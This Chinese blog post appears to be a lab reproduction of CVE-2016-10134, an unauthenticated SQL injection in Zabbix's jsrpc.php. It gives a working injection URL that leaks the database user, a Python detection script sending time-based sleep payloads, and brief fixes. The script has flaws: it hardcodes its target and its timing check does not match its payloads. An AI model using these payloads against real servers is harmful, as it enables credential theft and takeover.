zabbix SQL注入漏洞 (CVE-2016-10134)

目录

一. 漏洞描述

二. 环境搭建

三. 漏洞复现

四. 漏洞修复

五. 漏洞检测脚本


一. 漏洞描述

        zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]和jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。这里就介绍jsrpc.php页中的sql注入

影响版本:zabbix 2.2.x,3.03-3.3.0

二. 环境搭建

利用vulhub进行漏洞环境的搭建

访问 8080

三. 漏洞复现

poc: http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

无需登录,直接访问。获取用户名为root

获取数据库

四. 漏洞修复

1.  禁用Guest账户,关闭无用账户。
2.  升级zabbix版本。

五. 漏洞检测脚本

#author:xcc
import requests
import argparse
import os
def url():
		parser = argparse.ArgumentParser(description='zabbix SQL注入漏洞(CVE-2016-10134)POC')
		parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8080')
		args = parser.parse_args() 
		global url
		url = args.target_url
		#检测输入的url的正确性
		if url.startswith('http://') or url.startswith('https://'):
			pass
		else:
			print('[-]Please include http:// or https:// in the URL!!')
			os._exit(0)
		if url.endswith('/'):
			url = url[:-1]
		print('[+]author:chenchen')
		print("[-]zabbix SQL注入漏洞(CVE-2016-10134)POC",)
		print("[-]开始执行检测...")
		print("[-]目标地址:",url)
		return url
def poc():
	headers={
		'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
	}
	poc1 = '/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=sleep(1)'
	poc2 = '/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=sleep(2)'
	url = 'http://192.168.1.5:8080'
	url_1 = url + poc1
	url_2 = url + poc2
	try:
		time1= requests.get(url=url_1,headers=headers).elapsed.total_seconds()
		time2= requests.get(url=url_2,headers=headers).elapsed.total_seconds()
		if time1 >= 2 and time2 >= 4:
			print('漏洞存在')
		else:
			print('漏洞不存在')
	except:
		print('发生错误')
if __name__ == '__main__':
	url()
	poc()

——心,若没有栖息的地方,到哪都是流浪

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/114396747